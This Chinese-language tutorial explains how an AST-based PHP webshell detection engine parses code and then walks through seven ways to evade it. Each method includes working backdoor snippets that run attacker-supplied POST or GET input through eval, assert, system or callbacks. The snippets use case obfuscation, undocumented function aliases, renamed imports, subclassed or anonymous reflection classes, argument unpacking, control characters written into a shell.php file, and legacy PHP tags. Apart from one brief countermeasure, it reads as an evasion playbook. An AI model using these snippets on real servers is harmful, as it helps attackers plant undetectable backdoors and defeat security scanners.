背景知识:防御引擎是如何工作的?
在学习绕过之前,必须先理解检测引擎(CHIP)的工作原理。它基于 PHP-Parser 将代码解析为 AST(抽象语法树),检测逻辑主要分三步:
- 找标签 :通过 PHP 标签(如
<?php)确定代码位置。 - 找节点 :遍历 AST,查找危险的函数调用节点(如
Eval_,FuncCall)。 - 查参数:判断这些危险函数的参数是否是动态变量,或者回调参数是否是匿名函数/外部可控变量。
理解了这三步,绕过的思路就是针对这三步的某一个环节进行破坏或欺骗。
7种绕过方法详解
切入点一:从"函数名"位置入手
防御引擎通常维护一个黑名单或白名单,通过匹配函数名来判断是否是危险函数。
1. 利用函数名大小写绕过
-
原理:PHP 是一种大小写不敏感的语言,但有些检测引擎在做字符串匹配时可能忽略了大小写转换。
-
示例:
phpUsORt($_POST[1], $_POST[2]); // 利用大小写混淆绕过对 usort 的精确匹配
2. 利用未在文档中的内部函数别名绕过
-
原理:防御引擎通常通过抓取 PHP 官方文档来获取包含回调参数的函数列表。但 PHP 内核中存在一些"未在文档中列出"的函数别名。引擎不知道它们是危险函数,从而漏报。
-
示例:
php// mb_ereg_replace 的别名 mbereg_replace,文档没写,但内核存在 mbereg_replace('.*', '\0', $_REQUEST[2333], 'e');
3. 利用 PHP 5.6+ 的函数别名机制绕过
-
原理 :PHP 5.6 开始支持通过
use function语法导入函数并重命名。攻击者可以将危险函数(如assert)重命名为一个看似无害的名字,欺骗 AST 节点中的函数名判断。 -
示例:
phpuse function \assert as test; test($_POST[2333]); // 引擎看到的是 test(),实际执行的是 assert()(防御对策:引擎需要监控 AS 语法,还原真实函数名)
切入点二:从"类名"位置入手
既然函数名可以替换,那么面向对象中的类名同样可以替换。
4. 利用类的继承绕过类名黑名单限制
-
原理 :类的继承实质上也是一种"别名"或"拷贝"。如果引擎封杀了
ReflectionFunction(反射类,常用于执行命令),我们可以写一个空类继承它,引擎看到的是自定义类test,但实际实例化的仍是反射类。 -
进阶升级 (PHP 7 匿名类):结合 PHP 7 的匿名类特性,甚至不需要声明类名,再配合大小写混淆,隐蔽性极高。
-
示例:
php// 基础版 class test extends ReflectionFunction {} $f = new test('system'); $f->invoke($_POST[2333]); // PHP 7 匿名类+大小写混淆版 $f = nEW ClaSs($_POST[666]) eXTeNDs rEFleCTIoNfUNcTIoN {}; $f->iNvOKe($_POST[2333]);
切入点三:从"参数列表"入手
防御引擎会检查特定函数(如 usort)的回调参数在不在预期的位置(比如第2个参数)。
5. 利用参数列表的折叠与展开绕过检测
-
原理 :PHP 5.6 开始支持
...$args(splat 运算符)展开数组为参数列表。攻击者可以只传一个数组参数,引擎检测时发现没有第2个参数,认为不满足回调后门的特征;但 PHP 引擎执行时,会将数组展开,将第2个元素作为回调参数执行。 -
示例:
phpusort(...$_GET); // 假设 $_GET = ['1', 'assert', '2', '3'...] // 引擎认为只传了一个参数;实际执行时数组展开,assert 成为了回调函数。
切入点四:从"解析引擎的 Bug"入手
防御引擎使用的 PHP-Parser 和真实的 PHP 引擎之间存在解析差异。
6. 利用控制字符使解析器异常
-
原理 :
PHP-Parser(用 PHP 写的 AST 解析库)无法处理某些 ASCII 控制字符(如\x00到\x20)。但真实的 PHP 引擎却可以正常执行包含这些字符的函数调用。 -
示例:
php// 生成一个包含 \x01 \x02 的文件 $content = "<?php eval\x01\x02(\$_POST[2333]);"; file_put_contents('shell.php', $content); // PHP-Parser 解析到 \x01 时会报错或停止,导致后续的 AST 分析根本不执行。 // 但 PHP 引擎执行 shell.php 时会忽略这些控制字符,正常执行 eval。
切入点五:干脆绕过解析引擎(釜底抽薪)
如果解析器只能识别特定的 PHP 起始标签,那我们用它不认识的标签,它就不会把这段代码当作 PHP 来解析。
7. 利用 PHP 标签差异绕过检测
-
原理 :
PHP-Parser只识别<?php和<?标签。但真实的 PHP 引擎(在 PHP 7 之前)还支持<script language="php">标签和<%标签。使用这些非标准标签,解析引擎会将其视为普通的 HTML 文本直接跳过,从而绕过所有 AST 检测流程。 -
示例:
php<script language="php"> eval($_POST[2333]); </script>(注:此方法在 PHP 7 后已被移除,仅适用于低版本环境)